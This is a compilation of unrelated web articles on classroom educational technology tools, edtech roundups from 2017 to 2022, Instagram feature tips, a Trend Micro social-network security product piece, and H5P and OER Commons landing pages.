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Sponsored by Fearless Schools and Google's Applied Digital Skills

In 2015, I published my very first Teacher's Guide to Tech. I did it because teachers kept telling me that they wanted to use technology more effectively, but they were overwhelmed by the number of tools out there and the lack of time they had to research them and try them out. So they just kept using the same small handful of software applications, feeling more out of touch every year, watching their more tech-savvy peers lap them over and over.

I decided to try and make it easy on them. At first I thought I would just write a long blog post that put all the major educational tech tools into categories, explained what each one was, and linked to their sites. That quickly turned into a PDF that I called the Teacher's Guide to Tech.

Now I'm releasing the 8th edition of that guide, the 2022 version, and what started as a catalog of just over a hundred tools has grown into an encyclopedia of over 500, with more than 50 different categories covering all subjects including art, physical education, and special ed, along with tools for classroom management, assessment, and feedback. There's an extensive collection of resources for social justice and anti-racism, a huge section on makerspaces that includes coding, electronics, and robotics, tools for video editing, podcasting, media and news literacy, and social and emotional learning, and for every entry, just like in the first edition, there's a picture of the tool in use and a link to a video that shows you how it works.

If this is the first time you're hearing about the guide, here's a quick video I made a few years ago to give you an idea of what it is and how it works:

Every year it takes a massive amount of time to update the guide-about three full months-because not only do I add new tools, but I also update all the stuff that changes: tools and websites change their names, they get absorbed by other companies, they shift their focus to something different, and sometimes they completely disappear. I look for the most updated videos, check that the photos are still accurate, and generally make sure everything is as up-to-date as possible, even though things will continue to change the day after the new guide is published!

This year, for the very first time, I hired a team of ed tech experts to help me with the update. The task was becoming overwhelming and I knew if I was going to keep it up, I had to have some help. Here they are below: Marnie Diem, Brandie Wright, Lucia Hassell, and Kim Darche.

Brandie Wright

Kim Darche

Marnie Diem

Lucia Hassell

In keeping with our yearly tradition, we'll be sharing six tools we think are worth trying this year. Most are not brand-new, and some are not even new to the guide, but each one has something special about it that deserves a little extra attention. This year I have only chosen two of the six; the other four were chosen by my new team members. Here we go!

The Tools

1. Frame
framevr.io
The past two years have given us all more experience with video conferencing than we could have anticipated. While platforms like Zoom and Google Meet do a good enough job of letting us talk to each other, and even give us options for breaking larger meetings into smaller, more intimate groups, the experience is still kind of "flat."

An emerging group of tools is trying to bridge that gap, using VR technology to create online spaces that feel more three-dimensional, allowing participants to move through virtual spaces as if they are physically in a room together. We feature five of these platforms in this year's guide, and one of them is Frame. In the world of Frame, a host can create an environment like an office, a lounge, or even an island, and populate that environment with artwork, documents, videos, or any other kind of materials needed for a lesson or other experience. Participants move around the space as avatars and can use voice or text chat to interact.

There is definitely a learning curve with a platform like this, but it seems worth a try. The video below is more of an overview, but two videos from Greg Kulowiec-first this one, then this follow-up -provide a more in-depth look at how the platform works.

2. Google Arts & Culture Experiments
experiments.withgoogle.com/collection/arts-culture
This collection is a subset of Google's larger Experiments platform, which is the result of Google allowing any coder with a creative idea to submit projects that use artificial intelligence, augmented reality, or any kind of code to stretch the limits of what technology can do. The Arts & Culture collection works with Google's huge database of information about works of art, photography, and music.

This is a site worth visiting just for pure entertainment and curiosity, but it might end up lending itself to one of your lessons or inspiring students to try creating experiments of their own. If nothing else, it would be an excellent place to send students when they finish work early.

To experience them for yourself, try Puzzle Party, which takes fine art and breaks it into an interactive jigsaw puzzle you can do with friends, and Art Coloring Book, where you "color" famous works of art.

3. #1000BlackGirlBooks
marleydias.com/1000blackgirlbooks
This project started in November 2015, when elementary student Marley Dias decided to solve a problem. After noticing that very few of the books available to her and her peers featured Black female protagonists, she launched a campaign to change that. Since its inception, her goal to collect 1,000 books with Black girls as the main characters has surpassed itself. The collection now contains over 13,000 books.

To help users find books more easily, GrassROOTS Community Foundation has put the collection into a database where you can search by author and title or filter results by reading level.

This resource offers incredible value to all educators. English language arts teachers, school librarians, or anyone who maintains a classroom library can use the list to improve representation in their own materials. And any teacher or school leader committed to anti-racism can access the collection to find more books to read, books that celebrate and broaden readers' understanding of the lives of Black girls and women.

4. Osmo
playosmo.com
This device is so unique and flexible, we gave it its own full-page spread in the Games section of the guide.

Unlike traditional tablet apps and games, the Osmo Learning System is a unique combination of computer vision and manipulatives that bridge the digital and physical worlds. Once the tablet is placed in the Osmo base and the reflector is placed on the camera, the entire work surface becomes interactive. With multiple starter kits for kids from ages 3-12, students physically manipulate a variety of tools while engaging with practice in reading, math, coding, and more.

Having a system like this in your classroom would allow students to be more active and collaborative with their learning, rather than only interacting with a screen. The video below gives you an idea of how it works. To see it in action in other ways, watch more options like Math Wizard, Pizza Co, and Osmo's coding games.

5. EVERFI
everfi.com/k-12
Originally a site that offered free financial literacy courses to students, EVERFI has expanded its course offerings to include career exploration (including one specific to STEM careers), social and emotional learning, diversity and inclusion, and health and wellness. Their newest additions are courses in healthcare literacy, data science and banking fraud, and compassion and empathy.

The lessons are gamified, putting students into simulated situations where they need to make decisions based on the concepts they are learning, and this keeps students engaged. Teachers are given analytics on student engagement and performance, so this is an ideal tool for use in remote and hybrid learning.

What's great about the courses at EVERFI is that they hit on topics we often say should be taught in schools, but don't often actually find in our curriculum. These lessons could be used in advisory periods, life skills classes, or as enrichment or independent study. Keep an eye on this site-they seem to be adding new materials all the time!

6. Skew the Script
skewthescript.org
The creators of this site are a group of math teachers who were tired of seeing their students drag themselves through contrived, irrelevant math problems. They wanted to write math problems that students actually cared about. With that in mind, Skew the Script was born, a site offering completely free, socially relevant math lessons for Algebra 1, Algebra 2 and AP Statistics.

There are lessons on lighter topics like sports, fast food, and pop culture, along with others on more serious issues like climate change, equity issues, gun control, and vaccinations. Lessons include videos, teacher slide decks, student handouts, and other resources to support teachers in face-to-face or online teaching.

Although they don't currently have an explainer video to showcase their platform, the video below is one example of a statistics lesson. You can browse more videos on their YouTube channel.

The Teacher's Guide to Tech

The 8th iteration of the Teacher's Guide to Tech is loaded with tools that can enrich your teaching. With over 550 tools in over 50 different categories, this is the resource you need to quickly make smart decisions about the technology you choose for your classroom.

This year's guide has over 115 new tools and three brand-new categories: Digital Literacy, Social & Emotional Learning, and Video Conferencing. Along with that, we've made sure that every single tool listed has up-to-date information, videos, and links to their sites, so you can find what you need and get back to teaching.

Where to Get Your Copy

Single-User Licenses: If you just want a copy for yourself, you can get it at Teachers Pay Teachers or on Teachable.

Multi-User Licenses: To get the guide for your team, school, or even district, you can save a lot by getting multi-user licenses. I offer the deepest discounts for these on Teachable.

Purchase on Teachable
Purchase on TpT

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Listen to this post as a podcast: Sponsored by Fearless Schools and Google's Applied Digital Skills In 2015, I published my very first Teacher's Guide to Tech. I did it because teachers kept telling me that they wanted to use technology more effectively, but they were overwhelmed by the number of tools out there and the lack of time they had to research them and try them out.

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11 Best Educational Technology Tools To Watch Out For In 2022

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11 Best Educational Technology Tools To Watch Out For In 2022

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Are you a tech-savvy teacher? Are you known among your peer teacher-group as a 'technophile'? Do you like to keep yourself abreast with 'all-things-technical' related to teaching and education? If you are one of those teachers who are excited to learn and try out the latest educational technology tools with their students, then stay right here.

Here are the 11 best free educational technology tools to watch out for in 2022.

The pandemic brought the 'School-from-Home' scenario that one could have never imagined. Schools ran full-swing with online classes, online exams, online competitions, online admissions, and online interviews. Do you think all this would have been possible without technology?

HMH, an educational technology company, asked teachers for their feedback on the use of edTech in their classrooms. According to their Educator Confidence Report, 2021, 95% of educators experienced benefits from using technology; 71% reported increased student engagement; 77% expressed that edTech will help them become more effective teachers.

As per Promethean, an ed-tech company, 9 out of 10 educators in the UK feel that education and technology can and should be integrated. According to research by Yi Hsuan Wang, (Dept. of Educational Technology, Tamkang University) by 2025, Virtual Reality in the field of education is going to be a huge $700 million industry.

Nothing is permanent but education and technology are here to stay, and the process of education can be enhanced and continued hassle-free with the use of these online teaching tools. Whether you want to plan effective classroom lessons; create quizzes and assessment tools for your students; prepare teaching slides and presentations; explain a topic or just want to improve your student-teacher-parent interaction and communication, these new educational technology tools come in handy. Read more to know 11 free educational technology tools for the power-user teachers of 2022.

This one is already ranked 7th out of the top 40 educational technology tools of 2021. Kahoot doesn't need an introduction as 50% of US teachers are already using it.

With its growing use and demand, Kahoot is an excellent free online educational game creating tool for teachers. The online games or trivia quizzes can be made on any subject/topic and in any language. To simplify it further, here is a quick and easy Kahoot tutorial for teachers.

2. Pear Deck

Chosen as the ''Top 10 School Tool' by EdSurge, Pear Deck is a free online teacher tool to create excellent classroom presentations on Google slides. Google slides is a simple tool to create presentations. Combine it with the ease and expertise of Pear Deck and what you have will be highly engaging and interactive slides. Watch this video to learn more.

3. Canva

Now this one is an absolute gem. Not many people know how useful Canva is for teachers. Make lesson plans, prepare interesting worksheets, create teacher slides and tutorials, record video lessons and go all creative with this new educational technology tool. Take a look at the Math video lessons that I have prepared using Canva.

This latest edTech tool is also useful for higher education. Here's how Canva can be used for education by teachers.

4. Headspace

Stress and anxiety hit both students and educators too. In a recent survey by McKinsey & Company, 37% and 26% parents reported of increased levels of anxiety and depression in their children, respectively.

Social and Emotional Learning(SEL) has become an indispensable part of today's education system. Many relaxation techniques and distraction techniques for special learners can be used. Why not incorporate mindfulness in your classroom?

Headspace is one of the top free educational technology tools to improve the mental health of students and teachers. Practice a variety of meditation sessions with your fellow teacher group or in the classroom; hold virtual mindfulness lessons; download positive posters for your classroom and practice self-care for teachers and children. Watch how

5. Mote

How difficult were assessment and paper-checking during the pandemic? Teachers missed giving synchronous feedback to their students. Imagine incorporating audio feedback in your Google slides and Google forms? How interactive can your lessons become?

With Mote, you can provide verbal feedback, voice commands, translate voice feedback into another language, include verbal responses in Google Docs and Slides, and deliver effective language lessons. Mote can be creatively used in the classroom in many more creative ways. Try today for yourself!

6. Bulb Digital Portfolio

Everything is going to be digital in the coming years. In fact, according to a report by Newschools, 96% of principals and 85% of teachers fully support and claim that the use of digital learning tools is going to increase in the future. According to the latest study by Apple, Digital books, ebooks, and iPads are already a favorite among students.

So why not have a digital portfolio for teachers and students to save and showcase all their hard work of years? Bulb Digital Portfolios can be accessed from laptops, tabs, or smartphones. You can organize all the worksheets, drama scripts, music compositions, educational content, teaching videos, lesson plans, quizzes, question papers, and everything created by you in one place. Bulb is the first and simplest edTech tool for educators' professional development.

7. Explain Everything Interactive Whiteboard

There are many online whiteboards available, however, this one is extremely interactive and it provides a variety of functions for the teachers. Explain Everything Interactive Whiteboard allows you to embed audio, videos, PDF's and other forms of media into your lecture. You can also record them and share them later on with your students.

8. Poll Everywhere

If your students are shy to respond in the live class then this one is for you. Poll Everywhere is a host for virtual/online meetings. To add to this, you can engage with the introverted students of your class by giving and getting asynchronous responses in the classroom. The teachers and students can give anonymous feedback and responses. This is a good educational technology tool for higher education and university professors.

9. Anchor

Podcasts are the most convenient form of teaching, learning, and motivating. Edison Research and Triton Digital conducted a study and found out that at present, 116 million people listen to podcasts every month. As an educator, your voice can reach millions of students and teachers. It's a big community where every teacher has something to teach through their stories and experiences. Create teacher podcasts for free using A nchor and let your voice get spread and heard.

10. Embrace Race

What is the aim of a good education?

Exceptional grades? Excellent marks? To land a high-income job?

Not at all.

No matter how advanced we become with edTech, the purpose of education will never change. We want our young minds to become the empathetic, self-aware, socially-aware, and responsible decision-makers of tomorrow. Value learning is the foremost part of education. Embrace Race makes teachers' work easier by providing resources, webinars, and action guides to help students accept all races and colors as early as in kindergarten.

11. Edpuzzle

No, it's not just any other puzzle/quiz-making teacher tool. Edpuzzle is an educational video-making tool where you can create your own video lessons using the pre-uploaded videos in their database. You can cut the parts of the video as per your choice, add your voiceovers, and add questions for your students. They cannot move further in the lesson without answering them correctly.

Final Takeaway

The present education system needs tech-savvy teachers. The new age classrooms require digitally sound educators. EdTech helps improve teacher productivity and saves time and effort. The new academic year of 2022 will see many different changes and challenges because of the uncertainty and education gaps brought by the pandemic. Only those educators will successfully sail through, who have joined hands with educational technology. You are already one step ahead of others because of your keen interest and enthusiasm in using educational technology tools in your classrooms. It is time for you to use these 10 edTech tools in 2022.

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11 Best Educational Technology Tools To Watch Out For In 2022.

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Are you a tech-savvy teacher? Are you known among your peer teacher-group as a 'technophile'? Do you like to keep yourself abreast with 'all-things-technical' related to teaching and education? If you are one of those teachers who are excited to learn and try out the latest educational technology to

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Keep an eye on these 7 notable ed tech tools from ISTE 2017

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Keep an eye on these 7 notable ed tech tools from ISTE 2017

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With over 21,000 attendees and exhibitors packing San Antonio's Henry B. Gonzalez Convention Center, this year's International Society for Technology in Education (ISTE) Conference was massive. (It's an assertion backed up by the number of sessions we saw that were so popular they had queue lines in case anyone left.)

As you might expect, a conference with turnout that high could only have a showfloor to match. If you weren't able to make it, or simply didn't have time to see everything, we've highlighted a few of our favorites - from digital textbooks and eMentoring services to game-based learning platforms and robots.

Discovery Education Techbooks

With the advantage of having a highly recognizable name via years of educational documentaries on its TV networks, Discovery's Education division has cemented a place in the classroom with its line of Techbooks. Available for math, science and social studies, the digital books include model lessons, a variety of activities and assessments, embedded data dashboards, and flexibility across classroom device situations. Its curriculum team also includes subject matter experts, former administrators and other educators.

Additionally, the company's partnerships with organizations ranging from the NBA to NASA, as well as the ability to adapt content across reading levels and use a combination of text and media, make differentiating content based on student interests easier. Additionally, the company offers the Discovery Educator Network, which simplifies the sharing of best practices and content, as well as a database with a wide selection of vetted material from beyond just Discovery's vaults.

Perhaps best known for its popular BB-8 robot toy, Sphero has a heavy focus in the education market. Its SPRK+ educational model uses the same basic design as its consumer-focused BB-8 toy, but features a translucent shell that allows students to see the robot's inner workings.

But the inside view of the durable robot's mechanics is just the tip of the iceberg here. With a corresponding app, students can also learn to use drag and drop block coding, and eventually real languages like Javascript, to program the SPRK's actions. (The app is also compatible with the Ollie, Sphero, and BB-8 robots, according to the company's site .)

In the company's booth at ISTE, we were treated to several demonstrations, including one in an aquarium (the SPRK+ is waterproof and floats) that showed off the measurements from the robot's motion sensors, presenting additional opportunities for physics lessons.

Cricket Together

It's no secret that a mentor can make a huge difference in a student's life, but finding where that fits best during the day can be difficult. With Cricket Together, schools can work with companies to facilitate that opportunity for employees as a fulfilling virtual volunteer opportunity.

The eMentoring platform pairs off students with a company's employees in a virtual environment, having them read articles and discuss them through digital correspondence. Students see benefits to their literacy, reading and critical thinking skills, as well as getting an additional role model. And employee volunteers are able to share their experiences in a way that fits into their busy schedules. The correspondence also occurs in a safe, secure environment where educators are able to read each letter from either party before it reaches its intended recipient.

Pai Technology

With increased focus on coding and STEM, robots are a pretty big deal right now. Another entrant in that space is Pai Technology , which introduced its Augie robot at this year's ISTE. Designed with pre-K and early elementary students in mind, Augie teaches kids to code via an app that allows them to program its movements as well as its "eye" display.

But Augie goes a step beyond coding, as well. With its built-in camera, students can also record their own movies and sounds, in addition to engaging in a range of augmented reality activities.

SecondSTEP

From the Committee for Children, the SecondSTEP suite of products offers a full range of social-emotional learning, anti-bullying and child protection programming, presenting a simple approach to achieve the best results in the most cost-effective manner.

The primary SEL program is recommended for students from early learning through grade 8, offering a research-based, media-rich curriculum with fully-scripted lessons and materials designed to engage families at home, as well. The anti-bullying and child protection programs, meanwhile, are recommended for use through grade 5, training staff around best practices for working with all students involved in bullying incidents and how to recognize signs of abuse at home, while students learn how to deal with and report bullying or abuse.

Wonder Workshop

Did we mention robots are HUGE right now? We covered Wonder Workshop's Dash and Dot robots last year, but for a quick recap: Dot is stationary while Dash moves, they both respond to voice and touch, and their Wonder, Go, Blockly, Path and Xylo apps let students program them to perform a variety of fun activities.

Wonder Workshop this year also unveiled new teacher resources. Chief among them is the K-5 Learn to Code Curriculum, which covers six core concepts and includes 24 lesson plans and 72 Challenge Cards for students. The curriculum is also aligned with standards from CSTA, ISTE, Common Core and 's Computer Science Fundamentals.

Legends of Learning

Along with robotics, educational gaming has seen its star rise in recent years. If you're a child of the '90s, these games are far removed from the simplistic, unengaging learning games you may remember from your school's computer lab. Modern educational game designers have taken cues from commercial developers to craft experiences that better capture students' attention spans while effectively teaching concepts that range from the simple to the complex.

Among the top educational gaming companies today, Legends of Learning's platform offers dozens of options across subjects like earth/space sciences, life sciences and physical sciences. Each game features teacher and student reviews so educators can get an idea of how they've worked in other classrooms before adopting them in their own. Analytics can currently be monitored in class, but the company plans to offer comprehensive usage and performance analytics, as well as the ability to make assessments, in 2017.

Teachers can also apply to be ambassadors who work with developers on content for new games.

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Keep an eye on these 7 notable ed tech tools from ISTE 2017

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With over 21,000 attendees and exhibitors packing San Antonio's Henry B. Gonzalez Convention Center, this year's International Society for Technology in Education (ISTE) Conference was massive. (It's an assertion backed up by the number of sessions we saw that were so popular they had queue lines in case anyone left.)

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The best Instagrammers know the app like the back of their hands and can use every feature to its fullest to pull off a post that will garner tons of likes.

If you've spent any good amount of time with Instagram, you probably already know most of these features. But we know that not everyone has time to dig around and experiment with the app.

No problemo - we've got the 12 best Instagram features you're probably not using.

1. Manage your filters

#nofilter is always the way to go. Okay, if you still love the filters (there are now 40 of them!), you don't need them all clogging up your filter strip, forcing you to scroll through all of them. You can actually pick which filters you want to appear and sort them in the order you want them to appear.

To do so, swipe to the end of the filters, tap the "Manage" gear icon, and then select the filters you want. To arrange them in a specific, order, tap the left side (the three lines that look like hamburger menu) and slide them up and down the list.

2. Send posts in your feed to friends

Did you know that Instagram has a built-in messaging system called Instagram Direct? Well, it does - it's the box icon in the top right corner. Instagram Direct's main purpose is to let you send private photos (with accompanying text) to friends or groups, but you can also use it to send photos you see in your Instagram feed to your friends.

To send a photo from your feed to your friend, tap the right arrow icon below a 'gram and it'll bring up a "SEND TO" list, and from there just select the person you want to send it to.

3. Straighten, adjust perspective, and rotate photos

This only works if your photo is cropped to post as a square (1:1) and not any other aspect ratio. To access the straighten and adjust perspective tools, first make sure your photo is a square. Then tap the wrench icon and then tap "Adjust" (it won't appear if your photo is not a square).

From there, straightening a photo is as easy as swiping left and right on the slider to adjust the degree. The same thing goes for the tweaking the vertical and horizontal perspective. You can also rotate a photo by hitting the rotate icon in the upper right corner.

4. Link more social network accounts

Facebook and Twitter are the two most popular social networks for sharing Instagrams, but there are a handful more that can be linked. Tumblr, Flickr, Swarm, Weibo, Ameba, ミクシィ/Mixi, and VKontakte are also supported.

To link these accounts and make them options for sharing, tap the gear icon from your profile, and under "SETTINGS" tap "Linked Accounts" and then tap the accounts you want to add. You'll be asked to input account details and passwords, of course, for each one. The next time you go to post a 'gram, you'll see these newly added accounts as shareable options.

5. Use Instagram apps

Instagram is more than just the Instagram app. The company actually has three standalone apps that are pretty useful in aiding your Instagramming.

Hyperlapse is an excellent and simple app for creating time-lapse videos. Layout is perfect for creating collaged images. And Boomerang is great for creating simple looping short videos. When you're done making awesome posts in these apps, you can easily import them to Instagram for further editing or immediate posting.

Image: Mashable composite

6. Change the cover thumbnail on your video

A good cover shot could mean all the difference between someone clicking your video or not clicking it. Make it count.

Before you post your video, you can change your cover photo to any frame from your video. Just tap the square icon (third one) next to the stabilization icon and slide across the bottom slider to select a new cover shot.

7. See the posts you've liked

The whole Instagram economy revolves around liking people's photos and videos. But what if you want to see what you've actually liked or maybe go back and unlike them?

Instagram saves the 300 most recent 'grams you've liked. To see them, hit the gear icon from your profile, and under "ACCOUNT" tap on "Posts You've Liked." You can sort it in a grid or list view.

8. See all the photos you're tagged in

Hey Mr./Ms. Popular! Look, I'm not that cool, but maybe you are. Maybe you've got tons of people tagging you in their photos and you're too busy to track them down all on your own.

To see all the photos (you can't be tagged in a video) you're tagged in, go to your profile and hit the person-in-a-tag icon.

9. See posts on a world map

Whenever you add a location to an Instagram, the post is also posted to your photo map - a world map showing all the places you've posted a photo. To see your own photo map, go to your profile and hit the location tag icon. From there, you can zoom in and out on a specific location (country, city, etc.) and see specific geo-tagged posts.

You can also see another user's photo map by tapping the same location tag icon on their profile. If a user hasn't posted any geo-tagged post, you won't be able to see their photo map. Or, if a user's account is private, only approved followers will be able to see it.

Image: Raymond Wong/Mashable

10. Edit captions

Made a typo in your caption and don't want to look like a complete idiot? Don't worry, you can fix it.

To edit a caption on a post, tap the °°° on the right side below a post, hit "Edit" and boom, you can change your caption, add a location, tag a person, and maybe throw in another hashtag.

11. Use gestures

The smallest things always go unnoticed. If for some reason you like using gestures, you can do so to switch between the Library, Photo and Video mode after you've hit the camera button on the bottom of the menu bar. To quickly switch between the three modes, swipe left and right.

12. Speed up loading times (but just by smidge)

By default, Instagram is set to "Use Less Data." The settings says "Using less cellular data may affect your experience on Instagram (ex. photos and videos may take longer to load)."

According to Instagram's help center:

Instagram preloads videos so they start faster whenever possible. If you want to reduce the amount of cellular data the Instagram app uses, you can choose not to have Instagram preload videos over cellular connections. If you choose to use less data, videos may take longer to load over a cellular connection.

Flipping the setting off makes videos load faster in our LTE testing, but it's not appreciably faster. But if bandwidth is not an issue, then by all means, switch the data-saving feature off.

To do so, go to "OPTIONS" by tapping the gear icon on your profile and scroll down to "SETTINGS." Tap "Cellular Data Usage" and then flip the switch.

BONUS: Why Instagram is the No. 1 iPhone app of all time

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12 awesome Instagram features you're probably not using

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The best Instagrammers know the app like the back of their hands and can use every feature to its fullest to pull off a post that will garner tons of likes. If you've spent any good amount of time with Instagram, you probably already know most of these features.

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Trend Micro Offers Protection for Your Social Networks

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Trend Micro Offers Protection for Your Social Networks

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By now, you know that running anti-virus software is essential for protecting your computer against spyware, phishing scams and unsafe websites. Even Mac users are aware that they too are vulnerable to malware. But did you know that you need to protect yourself from hidden dangers on social networks as well?

Not only are there viruses, trojans and worms in cyberspace, there are hackers looking for clues to your identity - clues that can be used to steal your passwords, similar to what happened to a journalist from Wired Magazine last month.

It's called "social engineering," and Carol Carpenter, executive vice-president and general manager for Trend Micro's consumer division, says hackers are using social networks like Facebook to get personal information from you. Your maiden name or even your pet's name could help hackers gain access to something important, like a bank account.

SEE ALSO: Online Safety

Trend Micro's Titanium Internet Security 2013 is a software designed to protect against hidden dangers in the things people do online the most, including "checking email, surfing the web and using social networks to keep up with family and friends," says Carpenter.

Social networking security is built into the antivirus software. It scans for potentially malicious links on Facebook, Twitter, Google+, LinkedIn and even Pinterest. That way, you'll know if the link associated with your friend's status update about a new diet plan really is a scam site.

If the link on your Facebook page appears red, that means it's malware or dangerous, and you shouldn't click. Yellow means think twice or proceed with caution, and green means go, have a good time.

The software will also scan your privacy settings to let you know if you've unknowingly exposed yourself to any threats. For instance, a quick scan of my Facebook page let me know that all my posts are set to public by default; that's alright with me since I accept subscribers. But many parents will want to know if their child's settings aren't set to ''friends only."

The privacy scan gives advice on sharing practices, but Carpenter still recommends open communication between parents and children. Parents need to teach their kids good social etiquette, as well as safety, online - the same way they teach them how to carefully cross the street and not to talk to strangers.

SEE ALSO: Europe Seeks to Protect Children, Prove How Old You Are Online [VIDEO]

Other parental options include Online Guardian, which monitors your kids' behavior on social networks. There's no need to friend them, but you can set an alert so that you'll be notified if certain words, like "gun," appear in any text.

There are other software options out there, but parents looking to keep an eye on their kids' safety will find these tools easy to use and informative.

And they'd be right to keep watch. According to Trend Micro's Annual Consumer Security survey of 1,000 computer users, 20% of consumers reported that while on a social networking site, they clicked a link that posted things to their wall that they didn't want shared. What's more, nearly half don't change their privacy settings more frequently than every six months, and 35% infrequently or never check their privacy settings.

The survey also found that 60% of consumers share information - such as their birth date, hometown and pet names - on social networking sites that could lead to identity theft.

Check out the infographic below for more survey findings, and let us know what steps you take to protect your privacy online.

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Trend Micro Offers Protection for Your Social Networks [INFOGRAPHIC]

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By now, you know that running anti-virus software is essential for protecting your computer against spyware, phishing scams and unsafe websites. Even Mac users are aware that they too are vulnerable to malware. But did you know that you need to protect yourself from hidden dangers on social networks as well?

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H5P: Create, Share and Reuse Interactive HTML5 Content

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H5P: Create, Share and Reuse Interactive HTML5 Content

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Create
Richer HTML5 Content in Existing Publishing Platforms

Share
Content Seamlessly Across Any H5P Capable Site

Reuse and modify
Content in Your Browser at Any Time

Start creating rich interactive content on your own website. It's free and easy to get started.

Get started with H5P

Supercharge your website with H5P

H5P makes it easy to create, share and reuse HTML5 content and applications. H5P empowers everyone to create rich and interactive web experiences more efficiently - all you need is a web browser and a web site with an H5P plugin.

Mobile friendly content

H5P content is responsive and mobile friendly, which means that users will experience the same rich, interactive content on computers, smartphones and tablets alike.

Share rich content

H5P enables existing CMSs and LMSs to create richer content. With H5P, authors may create and edit interactive videos, presentations, games, advertisements and more. Content may be imported and exported. All that is needed to view or edit H5P content is a web browser. H5P content types and applications are shared here on H5P.org. H5P content may be created on any H5P enabled web site like H5P.com or your own Drupal or WordPress site with the H5P plugin installed.

Free to use

H5P is a completely free and open technology, licensed with the MIT license. Demos/downloads, tutorials and documentation are all available for users who want to join the community.

Check out the content types

There are several H5P content types and applications to suit various needs.

Need help with H5P?

Take a look at the Documentation pages. If you can't find an answer there, you can post a question to the H5P community in the Forum. Selected companies also provide H5P related services.

Wed, 10/25/2023 - 10:18

Learn how to use Chat GPT to create H5P content.

Thu, 06/29/2023 - 14:39

Teachers, instructional designers and other authors may now build content more than three times faster with the help of AI and the new tool, Smart Import. We have also launched a new version of the Moodle plugin for H5P.

Thu, 06/29/2023 - 14:40

Falcon on the future of AI and H5P, and the results from last month's survey.

Want to help us spread the word?

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H5P empowers everyone to create, share and reuse interactive content - all you need is a web browser and a web site that supports H5P.

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RefSeek's guide to the 25 best online resources for finding free educational videos. With the exception of BrainPOP and Cosmeo, all listed sites offer their extensive video libraries for free and most without registration.

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25 Best Sites for Free Educational Videos

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Directory of the Web's best educational video resources. Includes 5min, Academic Earth, BrainPOP, Brightstorm, iTunes U, YouTube EDU, and many more sites.

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Open Author helps you build and publish Open Educational Resources for you and for the benefit of educators and learners everywhere.

Learn more about creating OER

Groups provides a flexible environment to organize, create, share, and discuss resources with others in your network. Collaborate with group members, tag and add resources to shared folders, create your own collections, all within a public or private group.

Groups

Search through collections curated by our digital librarians

Collections

Common Core resources organized for your needs

Common Core

Hubs

A Custom Resource Center

Projects, districts, states, and initiatives make use of Hubs to bring groups of educators together to create, organize, and share OER collections that meet their common goals. Explore Hubs

Microsites

Custom Digital Libraries

Microsites are custom, flexible sites that include all the features available on OER Commons. Microsites allow your users to search resource collections using a custom taxonomy at a unique URL. Contact Us

Our award-winning OER Professional Learning programs support instructors and curriculum specialists to gain the necessary skills required to find, adapt, and evaluate high quality open materials.

In-person and virtual OER workshops help focus instructors to develop a "commons" mindset, to experience the benefits of open processes using the platform's tools, collaborative features, and workflows. This can include using Open Author for creating, remixing, and publishing shared curriculum.

Learn More

How to Search OER Commons

View all How-to videos

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OER Commons is a dynamic digital library and network. Explore open education resources and join our network of educators dedicated to curriculum improvement.

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Collaboration Software - Review Leading Systems

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Find and compare Collaboration software. Free, interactive tool to quickly narrow your choices and contact multiple vendors.

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Must Have Ed Tech Apps, Tools and Resources 2018-2019

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Must Have Ed Tech Apps, Tools and Resources 2018-2019

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Must Have Ed Tech Apps, Tools, and Resources for the 2018-2019 School Year

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Spread the loveThe right education technology can increase student engagement, enhance student learning, and save valuable instructional time. But with countless ed tech options available, finding the best tools isn't easy. That's why we've put together a list of our favorite ed tech apps, tools, and resources for the upcoming school year.

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What's next in edtech? What older tools have you overlooked that are worth a second look? The verdict is in. From VR devices to programming, and from creation apps to creativity tools, expect to see an evolution of the tools you already love and new technologies that will surely engage your students in this compilation of resources.
CES2017
The best of show from the CES2017 Conference, the largest global gathering technology trade show, has been curated by tech publications like Wired, Engadget, and PC. We purged through the winners and compiled a list of educational tools and gadgets for you to look for in 2017.
1. LEGO Boost Kit
Take your LEGO® play to the next level with the LEGO BOOST Creative Toolbox. At about half the price of Mindstorms Kits, you can build and code interactive, motorized robots, models and creations with distance, color and tilt sensor technologies with this new kit. Even better, you can program it with your mobile devices.
2. DataTraveler Ultimate GT
At less than three inches long, the world's biggest thumb drive is coming to your pockets soon. This tiny drive can pack in two terabytes of data.
3. Samsung Chromebook Plus
This Chrome OS device is perhaps the coolest laptop-tablet crossover. Thin and lightweight, built in pen, millions of apps on the Google Play Store, 360 degree rotating screen, this 2.38 lbs. device is fit to be a productivity and creativity laptop.

Rollout starts soon with most resellers allowing you to reserve one before it hits the shelves. Retail price $449.
4. ZenFone AR
The world's first smartphone with Tango and Daydream by Google, ZenFone AR by Asus is built for the augmented reality (AR) ultimate experience. With software like Tango, a new AR technology that changes the way you interact with the world via its ability to understand space and motion like humans do, you can expect your experience to feel futuristic.

In addition to Tango, with Daydream, you can experience high-quality, immersive virtual reality (VR) on this device as well. Can we expect the best of both worlds in this one device? This has yet to be seen, but the potential sounds way cool.
5. Neonode AirBar
Tap, pinch, swipe, and zoom, all the features we love about touch devices now for MACs?
Get touch screen capabilities on your MacBook Air 13 inch with this plug-and-touch device for a fraction of the price of a new device. Touch using any object including your finger, or with gloves, paint brush, stylus, and even with a banana (according to the reviews).

As a designer using Adobe products, this device leaves me wanting one for for my MacBook Air 11 inch. No mention of this being available for other devices yet, but here's to hoping.
6. Ozobot Evo
Meet Evo: the golfball-sized bot that moves around the floor or table, responding to commands programmed using OzoBlockly. While Ozobot is not new to the "easy programmable robot" scene, this little guy brings new features we hadn't seen in the Ozobot family.

Look out for LED lights, new sounds and movements, and new technology (Infrared Proximity Sensing) to avoid obstacles. Stay connected with the world via the Evo app OzoChat (worldwide messaging, Ozojis and other emotions that Evo acts out).
7. MultiSync Travel Keyboard
The Mini Multi-Sync Bluetooth Keyboard can be paired with any Bluetooth 3.0 enabled device. It is wireless so you can use it with your Mac or PC. The size makes it desireable as it easily fits in a backpack, purse or travel bag.
8. Fisher-Price Smart Cycle
The stationary bike's combination of activity tracking and STEM-based edutainment (via apps on a mobile device) means that kids can exercise their bodies and their brains. This pedal-to-play bike is compatible with Android, iOS and Amazon Fire devices. Sorry fellow colleagues, this one's for kids ages 3 to 6.
9. Polaroid Pop Instant Digital Camera
Portable, tiny and fun makes this printer mention worthy. Shoot, edit, and print full color photos in the iconic 3×4" format with the Polaroid Classic Border Logo. Features include: 3.97-inch touchscreen LCD, 20-megapixel CMOS sensor and dual LED flash, image stabilization, and 1080p full HD video recording capability. All content is stored on a micro SD card (up to 128 GB). Want to print photos from your phone? This device turns into a printer for your mobile phone via the mobile app.
